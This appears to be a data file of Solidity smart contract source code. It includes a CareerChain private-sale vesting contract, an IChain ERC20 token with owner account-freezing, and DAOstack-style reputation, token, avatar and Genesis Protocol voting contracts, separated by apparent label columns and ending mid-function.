modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract CareerChainPrivateSale is TimedCrowdsale, WhitelistedCrowdsale {
using SafeMath for uint256;
uint256 public tokensStillInLockup;
uint256[6] public lockupEndTime;
mapping(address => uint256) public balances;
mapping(address => uint256) public released;
uint256 public firstVestedLockUpAmount;
uint256 public stagedVestedLockUpAmounts;
function CareerChainPrivateSale
(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256[6] _lockupEndTime,
uint256 _firstVestedLockUpAmount,
uint256 _stagedVestedLockUpAmounts,
CareerChainToken _token
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
require(_lockupEndTime[0] >= block.timestamp);
require(_lockupEndTime[1] >= _lockupEndTime[0]);
require(_lockupEndTime[2] >= _lockupEndTime[1]);
require(_lockupEndTime[3] >= _lockupEndTime[2]);
require(_lockupEndTime[4] >= _lockupEndTime[3]);
require(_lockupEndTime[5] >= _lockupEndTime[4]);
lockupEndTime = _lockupEndTime;
firstVestedLockUpAmount = _firstVestedLockUpAmount;
stagedVestedLockUpAmounts = _stagedVestedLockUpAmounts;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
uint256 newTokensSold = tokensStillInLockup.add(_tokenAmount);
require(newTokensSold <= token.balanceOf(address(this)));
tokensStillInLockup = newTokensSold;
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
function TransferUnsoldTokensBackToTokenContract(address _beneficiary) public onlyOwner {
require(hasClosed());
uint256 unSoldTokens = token.balanceOf(address(this)).sub(tokensStillInLockup);
token.transfer(_beneficiary, unSoldTokens);
}
function IssueTokensToInvestors(address _beneficiary, uint256 _amount) public onlyOwner onlyWhileOpen{
require(_beneficiary != address(0));
_processPurchase(_beneficiary, _amount);
}
function _changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
function releasableAmount() private view returns (uint256) {
return vestedAmount().sub(released[msg.sender]);
}
function vestedAmount() private view returns (uint256) {
uint256 lockupStage = 0;
uint256 releasable = 0;
uint256 i=0;
while (i < lockupEndTime.length && lockupEndTime[i]<=now)
{
lockupStage = lockupStage.add(1);
i = i.add(1);
}
if(lockupStage>0)
{
releasable = (lockupStage.sub(1).mul(stagedVestedLockUpAmounts)).add(firstVestedLockUpAmount);
}
return releasable;
}
function withdrawTokens() public {
uint256 tobeReleased = 0;
uint256 unreleased = releasableAmount();
if(balances[msg.sender] >= unreleased && lockupEndTime[lockupEndTime.length-1] > now)
{
tobeReleased = unreleased;
}
else
{
tobeReleased = balances[msg.sender];
}
require(tobeReleased > 0);
balances[msg.sender] = balances[msg.sender].sub(tobeReleased);
tokensStillInLockup = tokensStillInLockup.sub(tobeReleased);
released[msg.sender] = released[msg.sender].add(tobeReleased);
_deliverTokens(msg.sender, tobeReleased);
}
}
| 0 | 1,324 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ISC is IERC20 {
using SafeMath for uint256;
address private owner;
string public name = "IChain";
string public symbol = "ISC";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 210000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event FrozenFunds(address target, bool frozen);
constructor() public {
balances[msg.sender] = totalSupply;
owner = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function() external payable {
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1537164000);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
}
| 0 | 216 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
